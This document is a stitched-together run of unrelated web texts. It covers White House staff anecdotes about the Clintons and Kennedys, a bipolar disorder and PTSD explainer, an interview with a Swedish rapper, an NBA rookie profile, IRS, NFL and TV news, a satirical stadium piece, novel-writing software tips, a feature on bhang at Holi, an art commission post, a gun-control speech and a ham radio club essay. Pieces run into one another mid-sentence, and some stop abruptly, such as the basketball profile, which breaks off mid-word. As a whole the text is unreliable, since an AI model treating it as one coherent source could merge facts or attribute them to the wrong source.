'Most of the women on the residence staff thought he got what he deserved.'
For three or four months [Bill Clinton] slept on a sofa in a private study attached to their bedroom... Most of the women on the staff thought he got what he deserved Kate Andersen Brower
And Brower;s research surfaced White House residence staffers who described how the first couple sometimes got into 'pitched battles' during their eight years in Washington,'shocking staff with their vicious cursing.'
Payne once came upon two butlers listening to a particularly aggressive dispute through a doorway. He heard Mrs Clinton yell: 'g*ddamn b*stard,' he told Brower.
Hillary subsequently threw a 'heavy' object at him, in Brower's telling.
'The first lady's temper was notoriously short' during the early months of the scandal, according to the book.
When Butler James Hall was serving tea and coffee during a reception for a foreign leader and another employee forgot to clear the china, she snapped
'You must have been staring into space!' he recalled Mrs. Clinton saying. 'I had to take the prime minister’s wife’s cup. … She was finished and looking for some place to put it.'
AFFAIR: Former White House staff revealed their secrets about daily life inside the presidential mansion, including how they knew Bill Clinton and intern Monica Lewinsky (seen together) were sexually involved
HAPPY BIRTHDAY, MR. PRESIDENT: When Jackie Kennedy was away, a White House worker stumbled across her husband, John F. Kennedy (pictured, right, speaking to Marilyn Monroe in 1962), swimming naked in the pool with other women
Hall sais he wasn't asked back to perform his duties for a month.
Other presidents figure in Brower's book, including John F. Kennedy.
When then-first lady Jackie Kennedy was away at the couple's farm in Virginia, a White House worker apparently stumbled across her husband swimming naked in the mansion's pool.
And JFK was not alone: He was apparently joined by several female White House secretaries. Naked women were also sighted on the second floor of the building when Mrs. Kennedy was away.
Other revelations in the book include Jimmy Carter's sons' passion for bongs – their rooms were constantly filled with smoke – and their father's 'uncontrollable sobbing' after losing the election.Within the general population, approximately 4% of the population will have a diagnosis of bipolar disorder at some point in their lives. What is bipolar disorder? Bipolar disorder is considered a mood disorder. There are two types of bipolar disorders, described as bipolar I and bipolar II.
In bipolar I disorder, a person has experienced one or more manic episodes. In most cases of bipolar I, episodes of major depression are a central aspect of the overall course of the illness.
In bipolar II disorder, hypomanic episodes have been experienced but not manic episodes. In addition, to be diagnosed with bipolar II disorder, a person needs to have also experienced a major depressive episode.
Bipolar disorder can have a major impact on your life, and it can also increase the risk that you develop other disorders. In fact, people with bipolar disorder have been found to be at high risk for developing a number of other mental health disorders. One such disorder that co-occurs with bipolar disorder at high rates is post-traumatic stress disorder (PTSD).
The Relationship Between Bipolar Disorder and PTSD
Studies have found that anywhere between 11% to 39% of bipolar patients also meet criteria for PTSD. It is not entirely surprising that high rates of PTSD are found among people with bipolar disorder, as many people with bipolar also have a history of traumatic exposure. Traumatic exposure may be more likely to occur during a manic episode when a person with bipolar disorder is more likely to make risky or impulsive decisions.
In addition to being a risk factor for the development of PTSD, traumatic exposure during childhood, such as childhood physical or sexual abuse, may also be risk factors for the development of bipolar disorder.
The Effect of PTSD Among People With Bipolar Disorder
Having PTSD along with bipolar disorder can have a major negative impact on your life. People with PTSD and bipolar disorder appear to have more problems across a number of different areas in their lives.
For example, PTSD has been found to reduce the quality of life for people with bipolar disorder. It has also been found to make the bipolar disorder worsen, resulting in more rapid cycling and increased risk for suicide attempts.
Finally, PTSD has also been found to be associated with greater levels of depression among people with bipolar disorder.
How to Find Help
If you have PTSD and bipolar disorder, it is very important to take steps to manage both conditions.There are few people in Stockholm operating closer to the cutting edge of hip hop than Yemi. He put out Neostockholm, his debut album, just over a year ago, but it already feels like a landmark record, one that cut its own path by mixing rap with glacial synths and peppy beats. Also a member of the collective Europagang, Yemi releases music at an impressive pace, and dropped a new single ‘Jag Är Vrickad’ back in April. We caught up with him just after the release of ‘Vrickad’ to find out more about it, and where his creativity is taking him next.
So to start it off, Neostockholm came out last year, and you’ve just put out ‘Jag Är Vrickad’, so where are you now in terms of projects, and what are you working towards at the minute?
Right now I’m working on what will probably become two separate projects. They’re both very much at the writing table stage at the moment, so I’m not 100% certain what way they’re going to go. But I have the idea for them right now.
Something like an album or an EP, or is it still unclear?
They’re probably going to be two shorter projects that will be connected to one another. They’re in the works at present.
So ‘Jag Är Vrickad’ dropped on April 20th, tell us about that.
I’ve released some other songs after the album, but I feel like ‘Jag Är Vrickad’ is the first real follow-up to the album, in many ways. Because to me it just feels like a natural progression from the album, with an updated sound and an update of where I am right now. It came about very naturally after the release of my album.
When did you write it?
I wrote and recorded it last autumn, and we filmed the video over the winter, and then put it all together this spring.
So it does feel like the first step on from the album? Because you put out new music a lot and pretty consistently, but ‘Vrickad’ is the first step into the next era?
I think so, yeah. It feels like the most essential project I’ve done after the album.
So then with this idea of Neostockholm, because Neostockholm wasn’t just the album title, you said it was like a concept of your world and the world you operated in. So is that idea of Neostockholm something you’re going to keep developing on the new stuff, or is it an idea you want to move on from?
I think in some ways it’s something I’m naturally going to progress away from. But also, to me it’s not just the title of the album, it’s a concept that a lot of my work is based on. So I feel like there will still be a piece of Neostockholm in whatever I make.
And so ‘Vrickad’ was produced by you, and ‘Sonic’, the track you put out just before it, was also produced by you. So are you moving more towards producing all of you own stuff now?
I’d say I’m probably producing as much of my own stuff now as I always have. I produced about half of my album last year, and the other half was produced by Teo Sweden and Gud. I still very much enjoy working with others and vibing off each other’s work and exchanging ideas, both with other producers and artists. But I’m also always doing tracks on my own as well, so I feel I’m as much a producer as an artist.
So you’re not taking a step towards going entirely self-produced, you’re going to keep the same blend as always?
Probably. I’m just going to do whatever comes out, whatever the outcome ends up being of hanging out with the people I enjoy working with. I can’t say for sure if my next project will be entirely produced by me or if I’ll work with other producers too.
In late 2016 you put out ‘Holla @ Me’, which was your first official English-language track. So is writing more in English something you’re looking into doing now?
It’s actually something I’ve always been doing more or less, a lot of the tracks we’ve put out as Europagang [Yemi’s collective with Teo Sweden and Busu] have been in English and I started out in English when I started writing songs. It’s something I’ve always had with me in my music making. But I’m probably going to put out more tracks in English from now on, that’s the plan. That’s not saying I’m going to stop making tracks in Swedish. I’m going to put out songs that are convenient to put out, and they might be in English or Swedish.
Your lyrics are clearly very important in your work, so does that make it challenging to bounce between the two languages in your writing?
I think in some ways, if I’ve written a lot in Swedish and then switch to English, it sort of sparks a new creative burst, because there are other rules that you have to follow in different languages, it’s like switching between two worlds, so it can be helpful in the creative process to do some songs in Swedish and then some songs in English. So I don’t think it hinders me in any way, or it a problem. It’s rather the opposite.
So it’s sort of a useful source of fresh ideas, like switching between instruments or synths or whatever?
Yeah, exactly.
Do you get a lot of creative inspiration from bouncing between different projects all the time, because you have Europagang, all the different stuff you produce, all the different things you feature on, different projects as Yemi? So are you that kind of person that likes to work on lots of different things at once?
I think so yeah. I like to work with people whose work I enjoy. And people are doing music all the time, so a lot of the time those projects intertwine or overlap. I think it’s necessary to be able to have several projects going on at the same time.
So you’re not the kind of artist that would bunker down and work on the same thing for months or years?
In some ways I might be that artist. My personal projects are always my main focus, but taking detours and working with other people can be a nice change and not that distracting from the main project.
It’s another source of creative energy.
Right.
When you were interviewed by Pigeons and Planes last year, you said that ‘Rap in Sweden isn’t really built on any long rooted Swedish culture, unlike rap in America’. So do you think that, as an artist who broadly operates in Swedish rap, that can be a liberating thing, that you don’t have all these big cultural ideas and cultural institutions of what rap should be here, you can do your own thing?
Yeah, I think for me it is. I think it should be for most hip hop artists in Sweden, but it feels like people are limiting themselves maybe more than they need to. Maybe because they feel that they have to sound some way, or make a certain type or music. But for me, I don’t feel bound to any type of sound or influence.
Yeah, because you said in another interview that you didn’t want to be seen as part of the Swedish hip hop scene? You wanted to be independent of it.
Yes, because I feel like Swedish hip hop is its own genre, and it’s not a genre that I listen to that much. I feel like I make hip hop in Sweden, but I’m not part of the Swedish hop hop genre.
So do you feel more comfortable as your own actor, outside of any scene or genre?
I guess so. I feel like I belong to a scene, or some scenes. With Europagang, or Fili, DJ Haydn, Gud, all the people I work with and get influenced by, and that I influence as well. AmberValent, Ozzy and Guleed in Malmö. I feel like we [all] belong to the same scene, because we all have a similar mindset about making music.
And then so to wrap it up, what’s happening over the next few months with Yemi? You’ve got the two projects in development.
Hopefully there’ll be more songs out during the summer, and some shows as well this summer. And I’ll keep working on my projects. I want to have them out by the end of the year. I’m doing Emmaboda festival in the middle of July, I did a show last year there as well and I think that was probably the highpoint of last year for me, showwise, so I’m really looking forward to that.
‘Jag Är Vrickad’ is out now. Yemi plays Emmaboda festival in July.
Words: Austin MaloneyPatrick McCaw was nodding off July 5 in the backseat of a GMC Yukon when his iPhone lit up with a text from an unfamiliar number. Drained from packing his life into suitcases, the Warriors’ bleary-eyed rookie considered ignoring the message.
“Then I saw it was from Kevin Durant,” McCaw recalled. “I just froze for like 20 minutes. I just read it. I kept reading it over and over.”
A day earlier, Durant had rocked the NBA by announcing his intention to sign with Golden State. In the wake of this life-changing decision, as talking heads around the country vilified him for making the easy move, the seven-time All Star promised to take McCaw under his wing.
The two had not met. But in that moment, staring at his iPhone screen, McCaw recognized that he was in an enviable situation. A second-round pick from UNLV, he will study under the player he idolized long before Durant sponsored McCaw’s high school team.
“I feel like I was the No. 1 pick,” said McCaw, who heard 37 names called before his on draft night. “You couldn’t tell me otherwise.”
Unlike Durant, who has been tracked for greatness since middle school, McCaw was overshadow |
a week or two later than its original date of January 21st. The agency says this is because the shutdown — during which about 90 percent of the IRS was inoperational — put its QA operations three weeks behind. "Programming, testing and deployment of more than 50 IRS systems is needed to handle processing of nearly 150 million tax returns," reads the statement. "Updating these core systems is a complex, year-round process with the majority of the work beginning in the fall of each year."
That doesn't mean Americans will be getting a later deadline. The April 15th cutoff is set in stone, so we'll basically just see a shorter filing season and delayed refunds, though it's possible to apply for a six-month extension. Budget deadlock also set the 2013 season back by eight days, as the IRS had to implement last-minute changes passed as part of Congress' agreement. Just like last year, the IRS is urging people not to send paper filings early, since they won't be processed any sooner, and electronic filings remain its method of choice. For now, we'll have to wait until December to find out when the season actually starts.The Philadelphia Eagles are now 0-1 in the 2015 NFL regular season schedule after being beaten by the Atlanta Falcons by a final score of 26-24. It was a shaky performance from the Birds in white and midnight green. Here are 10 things we learned from this game. There is a lot to discuss, so let's get right to it.
1) Chip Kelly needs to be more aggressive
The decision to go for the field goal on fourth down late in the game instead of trying to get a first down was so bad. The Eagles were carving up the Falcons defense. There was no reason for the offense to doubt themselves there. Even if the Eagles make that kick, they're only up by one and there's still plenty of time for the Falcons to get some points. Kelly's in his third year now and it's apparent he's just not the aggressive risk taker (AKA "Big Balls Chip") he was at Oregon. That's disappointing.
2) The Eagles need to run the football
The Eagles were supposed to get back to the running game. The team traded away LeSean McCoy and replaced him by signing DeMarco Murray and Ryan Mathews. They also still have Darren Sproles. Yet, the Eagles only ran 16 times for 63 yards. Not good enough. The Eagles can't spend all that money in running backs and then get away from their identity. Even if the Falcons are stacking the box, I thought the whole idea here was to get physical runners who can grind out the tough yards. The Eagles abandoned the run game too early in this one after some early failures.
Speaking of the run game, here's a really weird stat:
REALLY weird thing: DeMarco Murray (No. 29) scored his 29th career rushing TD. Ryan Mathews (No. 24) scored his 24th career rushing TD. — Brandon Lee Gowton (@BrandonGowton) September 15, 2015
3) Darren Sproles is still really good
Speaking of running backs: Sproles has been such a valuable player to this Eagles team. It will never cease to amaze me the Eagles got him at the cost of a mere fifth round pick. Sproles finished with five carries for 50 yards and seven receptions for 76 yards against the Falcons. Maybe the Eagles weren't kidding when they said they wanted to get him more involved in the offense.
4) Sam Bradford showed promise but needs to be better
Bradford didn't come out as sharp as the Eagles would have hoped in this one. His passes were off target early on. It was clear there were timing issues with his receivers. He really got things cooking in the second half, however, going 20 for 22 prior to the final drive. Considering this was his first real game since 2013, Bradford did OK relative to expectations. Moving forward, he needs to be better. One big concern was that he didn't really look to go deep too often. That's obviously been an issue with him in the past. To his defense, it was hard to tell if he ever had anyone open deep.
5) Concerns about the offensive line are legitimate
The Eagles didn't seem to feel very confident in their offensive line, especially when it came to run blocking. Kelly even explained part of the reason why the team kicked a field goal late in the game is because they didn't get great push on third down. The big guys up front seemed to mostly hold up well in pass protection, though Jason Peters did get beat cleanly by rookie Vic Beasley at least once.
6) More Kiko Alonso, less DeMeco Ryans
This isn't hard. Alonso is clearly the better player. Ryans is a savvy veteran but that doesn't matter a whole lot when you're missing tackles and looking slow in coverage. The good news here is it seemed like the Eagles got away from Ryans in the second half.
7) Byron Maxwell is not a shutdown cornerback
Byron Maxwell did not play well against the Falcons, but I don't think he's a bad cornerback. Julio Jones is really, really good. He's a tough matchup for any defensive back. With that said, Maxwell also struggled against some of Atlanta's other wide receivers. His struggles are certainly concerning for the Eagles. Maxwell legitimately looked like the real deal in training camp and preseason this summer, so it's hard to believe he's a total fraud at this point. Much like his teammates, he needs to be better moving forward.
8) Malcolm Jenkins needs to learn how to catch a football
Jenkins is a good player and a good guy, so I hate to harp on him... but he really needs to stop dropping crucial interceptions. He did this a couple times late last year, including one against the Seahawks. These missed opportunities are killer. Jenkins dropped two picks on Monday night. Even if he gets one, that could have been all the difference. Maybe Jenkins could benefit from some extra time on the JUGS machine. Dropped picks aside, Jenkins did make a huge tackle on third down at the end of the game to force a punt.
9) The sky isn't falling
Some people might not want to hear it, but this loss could have been way worse. The fact that the Eagles were able to rebound in the second half could be a positive sign moving forward if the Eagles can build on that success. The Eagles honestly look like a team that could benefit from more practice and more playing time as the season goes on. Philadelphia's roster went through so much change this offseason and it's apparent they weren't all on the same page at times against the Falcons. Bradford really needs to work on his timing and communication with his pass catchers, for example. Remember, it's only Week 1.
10) The pressure is on to beat the Cowboys
It's Dallas week now. The Eagles can't go down to 0-2 in the conference to start the season. They really need to win at home. A win over the Cowboys puts the Eagles back on track and helps eliminate some of the concerns after this Falcons loss. The good news for Philly is that the Cowboys will be without several key players, including: star receiver Dez Bryant, starting guard Ronald Leary, linebacker Rolando McClain, and pass rushers Randy Gregory and Greg Hardy. The Eagles need to take advantage."The Killing" has been revived. Again. A final six-episode season is coming to Netflix.
Series stars Mireille Enos and Joel Kinnaman will return.
“The rich, serialized storytelling in ‘The Killing’ thrives on Netflix, and we believe that it is only fitting to give Sarah Linden and Stephen Holder a proper send off," Cindy Holland, vice president of original content for Netflix, said in a statement. "We are looking forward to offering fans -- both existing and new -- a series that we know is perfectly suited for on-demand viewing."
Creator Veena Sud is also on board the final season.
"It's a true testament to 'The Killing' creator Veena Sud, and the stellar cast led so compellingly by Mireille Enos and Joel Kinnaman, that fans remained so passionate about the show. We’re gratified that our partners at Netflix recognized this, and are giving us the opportunity to complete the story in a way that will be satisfying to our loyal audience," David Madden, president, Fox Television Studios, said in a statement.
No word on when the new season will bow.A hellscape surrounded it: the tall, once-gleaming corners of what was known once as "Turner Field." Once, people walked these spaces, and purchased beer in aluminum mock-bottles to drink while watching a game, and living life as people did in the now-distant year 1997.
Now, only feral dogs and the merciless wind inhabited its spaces, a picture of desolation itself.
We approached from the east, staying downwind to prevent possible scavengers from picking up our scent. Ahead, we found the stadium. Its profile was sorrow itself, a devastated shell of a former age.
The damage boggled the mind. How anyone had made it in this stadium for 17 years, much less five minutes?
The human soul can endure far more than suspected, far more than anyone dared conceive even in their most ghoulish nightmares. That was the only possible explanation for living among such rubble, and doing it for so long.
I bet they only had one Waffle House in here, I thought out loud to myself.
The filth of three generations covered the ground:
We somehow moved through it, driven only by the desire to see the face of decay itself. Time had devastated the once-proud temple of sport, and parts were literally falling off of it as we moved. I looked up, and saw the threads of Turner Field unraveling before my very eyes.
We needed to move fast. The entire building was seconds from falling down around our ears.
Devastation.
I looked down, and saw the shadow of some forgotten horror:
It could have been just water stains, but I'm pretty sure it was something way worse, like the shadow of a spherical thing incinerated by a nuclear flash. Something like a giant novelty baseball, or Cee-Lo.
We moved in the dying light. On the wall, a sign written for the long-dead, indicating some mysterious distance in the primitive imperial units of the late American period. Devolution must have set in by this point, as a sign indicating direction was written without words, and now pointed to...to what? What was it trying to tell them? And what was it telling us, now, standing amidst the rubble of a dead people?
The dust of ages covered everything. I should have worn gloves, but the urge to reach out, to touch something human, to come into contact with ruin itself. This that is dead was once alive, I thought to no one in the silence.
Who were these strange people of the past?
Why were they so fond of the University of Alabama?
What were these ghostly messages from the past?
What was a Taco Mac? Where was it? AND WHAT DID IT MEAN? We had no answers, but then---
--oh god--
WALKERS.
We fled quietly but quickly before they caught our scent. As I retreated, I passed one last mystery, a broken promise from the dead to the miserable living.
No you won't, I thought to myself. You won't ever call again.
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• Death of a Ballplayer: Wrongly convicted prospect spends 27 years in prisonTime was all you needed to write a novel was a good idea and a pocketful of gumption. Well, we’re in modern times now, and you’d be a silly, silly person not to take advantage of all the great software available out there. Here are some of my favorite tools, presented in order of when they show up in my novel-writing process. Hopefully, you find something useful here!
Disclaimer: Some of the software below costs money, but just like hiring an editor or an artist to do your cover, there are some things you just have to shell out the cash for. And if you don’t have the cash, you’ll have to find a way.
Focus Writer (free, tip! )
gottcode.org/focuswriter/
I use this in my day-to-day scratch writing. That is, whenever I’m not working on a novel and just want to play around with some story ideas, I open up Focus Writer, put the date at the top, and just go.
I also use it when I’m starting a novel and looking for a way into to the story. Once I log a few “chapters” in Focus Writer, I copy them over to Scrivener to keep things organized.
The best part is in the name; Focus Writer gives you a distraction-free environment for writing. No Facebook or Twitter integrations are available at all.
Scrivener ($45)
literatureandlatte.com
I used Scrivener on my very first novel and every novel since, but don’t let that cloud your judgment. While it is full-featured and does many wonderful things, I primarily use it for organization and motivation.
Creating individual files for chapters helps move them around or insert something new if necessary. The chapter list on the left (which can be organized into folders as well) gives you an overview of how the novel is structured and how it flows.
In terms of motivation, Scrivener provides both per-project and per-chapter word count targets. Tell it you want to write 2,000 words per chapter and it’ll let you know how far away you are and when you hit the goal. Only 1,000 words to go… Only 500 words to go…
It is available for both Windows and Mac.
FreeMind (free)
Office 365 ($99/yr)
I know, the last thing an aspiring author wants to do is pay money for software. However, there really is no getting around this one. Microsoft Word is a necessity. And at some point, you’re gonna have to
Natural Reader ($89???)To get to Bandosingh Hazaari’s bhang shop in Hyderabad, India, you have to follow the gods.
In the maze of nameless alleys in Dhoolpet, a working-class neighborhood in the southeastern Indian city of Hyderabad, enormous fiberglass figures of Hindu gods and goddesses peek out of temple doors and between buildings. It’s a part of the city that’s known for creating and selling these 30-foot avatars, which are used in festivals and parades.
“In the haze of a bhang-laced thandai, the mundane doesn’t matter so much.”It’s also known for selling bhang—cannabis leaves that are crushed, mixed into drinks and sweets, and often served during Hindu holidays like Holi, the celebration of color and spring. During the festival, which falls on Mar. 17 this year, crowds gather in Indian cities to throw colored powder and water on friends and strangers, leaving the streets tie-dyed and the air hazy with ribbons of rainbow dust. In a country where possessing and selling cannabis is generally prohibited, and where levels of cannabis use are low relative to other countries, it’s one day of the year when consuming marijuana is socially acceptable. There are even Bollywood songs extolling bhang’s virtues:
While the observance of Holi varies by community and region, serving bhang is part of the celebration in many Indian homes. The intoxicant takes many forms—from simple pills, or golis, created by mixing the leaves with water, to sweet bhang lassis, where the cannabis is ground up and added to heavy milk with almonds, sugar, and other flavors. It can also be packed into Indian mithai, or sweets made with nuts and condensed milk, and decorated with silver and gold edible foil. In its diluted form, bhang offers a mild buzz or high. Consuming it in larger quantities is akin to smoking weed, and vendors like Hazaari claim that the substance can put you to sleep for three days straight.
On a warm spring afternoon, just a few days before Holi, the 50-year-old Hyderabad native sat on a dusty plastic chair in his dark warehouse, surrounded by divinities. Hazaari said thousands make their way to Dhoolpet during the festival to find bhang, which he sells in the form of small, cake-like sweets for 50 rupees (less than one dollar) each. He instructs customers to share each piece among six people for a mild high, or among four people for a stronger effect.
Bhang is sometimes mixed into desserts for Holi.
(Ankita Rao)
“This is our culture, something passed down from our saints,” he told me, smiling beneath his white beard and weathered skin. It is not, he added, a drug, but rather an integral part of the Holi celebration—just like the practice of people washing colors (and, symbolically, their sins) off their body.
In Hinduism, bhang is associated with Lord Shiva, a popular deity who is often regarded as the religion’s supreme god. Some passages in ancient Hindu scriptures describe a plant with spiritual properties that Shiva discovered and brought down from the heavens for humans to consume. Shiva is often depicted with a chillum, or smoking pipe.
According to Travis Smith, an expert on Hinduism at the University of Florida, cannabis is an element of the faith’s yogi or sadhu (ascetic) culture, and “part of the yogi’s toolbox.” In places like the Indian city of Varanasi, a holy spot for Hindus along the Ganges river, many sadhus smoke marijuana from chillums. The drug’s psychoactive properties make people sensitive to the energies in their body, Smith explained, and facilitate meditation. He added that bhang is not particularly dangerous or habit-forming, and that its use during Holi is similar to the tradition of drinking eggnog during Christmas. “It is still considered a vice, but because of this sacred association with Shiva, it is respectable,” he said.
AP Photo/Altaf Qadri
(AP Photo/Altaf Qadri)
(AP Photo/Anupam Nath)
Not all Hindus share Smith’s view. Kamala, a 45-year-old woman selling clothes in the Dhoolpet marketplace, told me that her family doesn’t approve of the tradition, which they view as a form of drug use. The Dhoolpet neighborhood where she grew up and still lives is “painted top to bottom” during the Holi festival. But it is only during the latter part of the day—when people re-emerge from their homes wearing fresh white clothes and greeting each other—that she and her children start to celebrate. “It’s different for everybody, but this is our way of doing Holi,” she said.
(AP Photo /Manish Swarup)
(AP Photo/Tsering Topgyal)
When India signed a UN drug treaty in 1961, the terms gave the country 25 years to rein in cannabis use while mandating crackdowns on harder drugs like opium in the meantime. Prime Minister Rajiv Gandhi prohibited marijuana in 1985, though officials made an exception for bhang—“as it is not made from cannabis resin or from flowering tops.” Indian state governments now regulate the production and distribution of the substance, authorizing certain vendors, most famously the Bhang Shop in Jaisalmer, to sell their products on a small scale. But it isn’t difficult to find unauthorized bhang vendors in many cities and villages, especially around Holi and Maha Shivaratri, a festival dedicated to Lord Shiva.
A tourist reads the Bhang Shop’s menu in Jaisalmer, in northwestern India. (Reuters/Pawel Kopczynski)
Smith said that despite the widespread use of bhang, it remains part of a counterculture and is not always accepted in upper-caste families. But on a day like Holi, when the “upturning of general social norms” is encouraged, the substance is imbued with a more spiritual meaning. As one Times of India article noted in the run-up to Holi this year:
The explosion of colours is a ventilator of suppressed group or personal drives that allow temporary reversal of the rules of social engagement. Men are chased and harassed by women in villages of [Uttar Pradesh] while Brahmin elders and village heads are hounded and ridiculed, but they don’t complain. For such liberated social behaviour, intoxicants act as catalysts and enrich the expression and experience of role reversal. In the haze of a hashish smoke or headiness of bhang-laced thandai [a cold drink], and the consequent preoccupation with a higher universe, the mundane doesn’t matter so much.
(AP Photo/Rajanish Kakade)
(AP Photo/Rajanish Kakade)
As Hazaari, the bhang merchant, sees it, the intoxicant is something to be carefully enjoyed and generously shared. Each year during Holi, he gives out plates of free bhang-laced desserts at a nearby temple. “Each color on Holi has a meaning: red means happiness, white means peace,” he said. “And this bhang is God’s prasad”—a holy blessing.
This post originally appeared at The Atlantic. More from our sister site:
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.Hello everyone,
the first commission is now finished and it's for who asked me to draw Sunset Shimmer and Twilight (a ponified version of Sci Twi) at the beach, enjoying the time together
They both cuddle in the warm summer sun while the sea's calm splash sounds is relaxing and supports the atmosphere^^
Actually, working on this piece was quite simple, but I guess it was my fault that I had problems with focussing on it heh...
Drawing the ponies went quite well but the background was somehow taking pretty long, at least it felt like it. After a while, I was thinking that the ponies do not fit into the scene, so I had to balance this with a few additional colours.
In the end, i hope you like this piece and enjoy the view^^
Thanks again for commissioning me!
Time: around 6 hours
Time: around 5 hours
If you want to support me, make sure to check out my Patreon. Every little bit helps me to keep my work possible and is very much appreciated. Thank you^^
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Lupi's Picarto"I knew that day that the ideologies of my past career were no longer relevant to the future that I want, that I demand for my children. Friday changed everything. It must change everything. We all must begin anew and demand that Washington's old way of doing business is no longer acceptable. Entertainment moguls don't have an absolute right to glorify murder while spreading mayhem in young minds across America. And our Bill of Rights does not guarantee gun manufacturers the absolute right to sell military-style, high-caliber, semi-automatic combat assault rifles with high-capacity magazines to whoever the hell they want.
It is time for Congress to put children before deadly dogmas. It's time for politicians to start focusing more on protecting our schoolyards than putting together their next fundraiser. It's time for Washington to stop trying to win endless wars overseas when we're losing the war at home... For the sake of my four children and yours, I choose life and I choose change."Welcome to Handiham World!
…And welcome to a new era of challenges for radio clubs.
What do I mean by that?
Well, if you have to ask, you might not be that tuned in to your local club’s activities. Radio clubs provide a means for you and I to get together with like-minded folks who appreciate amateur radio and who enjoy learning new things through club programs, keeping up their operating skills through club nets and activities, socializing with other radio amateurs, or being part of public service activities – to name just a few of the more obvious ones. I know that I have learned a lot about useful things that have helped me out in ham radio, thanks to the presentations at my local radio club.
Pictured: Greg Widin, K0GW, ARRL Dakota Division Director, gives a club program presentation on lightning and grounding.
“A club is an association of two or more people united by a common interest or goal.” Thanks, Wikipedia! Of course we seldom think of clubs in terms of only two people. Usually a radio club is larger – sometimes much larger – and there may be several distinct interest groups within the club. The club may own some equipment, such as special tools for antenna work, a repeater system, a club station, training materials and equipment, and more.
The challenges:
Meeting space. If you have a club of only a few members, this isn’t a big deal. Clubs of a dozen or fewer members have lots of choices, up to and including private homes. Typically, a radio club will have a membership that is too large to be accommodated anywhere but a more formal meeting space, and that means casting about for a venue. With a demographic that includes aging baby boomers, a club definitely wants to have a meeting space that is accessible to those who might use wheelchairs or who are unable to climb stairs. You also want electricity, good lighting, and quiet space. Internet is a bonus, but if it is not available, it isn’t exactly a deal-killer. The challenge is finding the space at an affordable price! Back in the day, meeting spaces were plentiful and free for the asking, especially to small public service or special interest clubs like ham radio groups. Venues might include the local school, church halls, service organization halls, and municipal or county buildings. It is not so easy today. The economy is down. Every venue is looking to raise extra cash, so the days of free meeting space might just be in the rear view mirror! And permanent space with room for a club station – wow, that is REALLY hard to find these days. I know that several clubs have either lost or given up their space for club meetings and stations due to the press for more revenue or other activities related to the needs of the landlord or host organization. Apathy. This one drives club officials nuts. And it’s nothing new, of course. There have always been club members who would rather jump out a window than put together a club program or write an article for the newsletter. But it’s worse now than ever before, and it’s related to number three on my list, which I’ll tell you about shortly. Suffice it to say that there are all too many hams out there who think it is a major hassle to even join a club, much less actively participate. Overworked club members. Yes, this one has always been around because some club members take on way more than their share of club duties. But the reason it is worse than ever before goes back to the world economic downturn that started in 2007. As the economic woes gathered, companies and organizations began trimming their workforces. Everyone seemed to be affected, no matter what the industry, and those who were still working felt lucky to have jobs. Those who lost their jobs, ham radio operators among them, tightened their belts and didn’t spend anything extra on their radio hobby. Back at the workplace, those who still had jobs were doing the work of their old job plus that of a co-worker or two, since there were now not enough people on staff to get everything done. That meant longer, harder hours at work, and less time for amateur radio club activities. I have been a ham since 1967, and this is the first time I have been hearing about this phenomenon from other hams who feel too pressed to participate in club activities as they once did. Recruiting. A club will fade away if it does not attract new members to replace those who die, lose interest, or move out of the area. Yet this aspect of club life is often left on the sidelines, going unnoticed until all of a sudden it seems as if there is no longer a reason to have regular club meetings. Recruiting is challenging in a world of worldwide internet connectivity with VoIP and other activities that mimic worldwide radio communication.
What can be done?
Remember that whatever needs doing, you do not have to do it all yourself. Leverage the manpower you do have by using the resources available at ARRL, which has lots of advice and ideas about clubs, club organization, and recruiting. Let’s take a closer look at each challenge:
A strategy to make meeting space more available is to make your club stand out above and beyond the others who might be competing for the same space. For example, if you are meeting in the county law enforcement center, you can make a better case for meeting space because your club supports emergency communications, Skywarn training and weather spotting, and public service communications. You are making sure that your club’s mission is aligned with that of the meeting space owner! No matter who hosts your meeting space, remember that it is wise to give back to your host in some way. If you are using a church hall for your meetings, perhaps the church needs volunteers for a clean up day or help at the church picnic. If you are lucky enough to get a special meeting room at a restaurant, everyone should buy a meal or at least spend a reasonable few bucks to make sure the restaurant owner turns a profit. The key? Be the best meeting space user you can be, and you will have more choices!
Apathy is hard to cure. In fact, I don’t even care anymore.
Ha, ha, I am just kidding about that not caring part, of course! I look at the programs and activities as the “good stuff” associated with a radio club. The other more pedestrian activities like the business meeting don’t really interest many of us. It’s the program on the DXpedition or the special event station that draws club members to the meetings. If your club has apathy oozing out of every nook and cranny, I’m willing to bet that your club doesn’t host good programs. Finding good presenters isn’t a given; the really good ones make the rounds but have limited time and resources. Most of your club’s programs and activities will ultimately come from within the club itself, and that means finding the right club member – one who is a really enthusiastic and positive go-getter – to do the going and getting. By that I mean they need to observe the membership, noting what areas of interest and expertise there are within the club. Then they have to recruit the guy who knows about antennas to give a talk. Apathy is something you chip away at by slowly building your circle of presenters. The more varied the topics, the better. Like the offerings on a menu at an excellent restaurant, there will soon be something for everyone at the club meetings.
The problem of club members who are stressed out by their work schedules will not be solved at the radio club, but I think it is reasonable for those members who are retired or who have a bit more time to step up to the plate and take on some of those extra club duties. We need to appreciate that those in their working years are trying to stuff 10 pounds of potatoes into a 5 pound bag these days, and are often also raising families with all of the obligations and demands on their time that those things require. Yes, those people are sometimes willing to take on club duties, but they are subject to “burn out” if they don’t get a little help. Next time you are at your radio club meeting and something needs doing, raise your hand. Lead by example.
Recruiting is vital, but how does a club go about it? I have seen several once active and vital radio clubs fade into obscurity and finally disband. Others have been successful in maintaining and growing their membership numbers. What is the secret?
Well, there are several, really. You have to understand the world around you – no small feat, that. What it means is knowing that amateur radio has a lot of competition for hobbyists who want to experiment with electronics. It means understanding that on line video gaming, so-called massively multiplayer online role-playing games (MMORPG), include elements of world-wide communication, cooperation, competition, scoring points, and community-building that are found in traditional amateur radio. There is, in other words, a lot of competition out there. Knowing what you are up against makes it easier to figure out how to package amateur radio and your radio club to better draw people in. If you want to make ham radio attractive to anyone under 100, you’d better start thinking of some interesting activities, outreach to school science teachers, high-profile cooperative ventures with other groups… I think you get the idea. My own local club drew some university students in by participating in tracking high-altitude balloon flights via APRS.
Another recruiting strategy is to offer Technician courses to the general public. We schedule ours right after a Skywarn course in the Spring, just before severe weather season kicks in. The classes are free, but the participants buy their own books. Graduates are invited to join our club. Education is one of the most important indicators of a club’s health. Show me a club without an education program, and I’ll show you a meeting room that will soon be available for a group of rock hounds or stamp collectors. Seriously, you have to offer classes or your club is toast. Again, check out the excellent resources on the ARRL website for tips on teaching and for resources like math help. Most importantly, say “YES!” when asked if you will be part of your club’s education and training team.
Your job? Make getting on the air with amateur radio sound like it’s at least as much fun as World of Warcraft®.
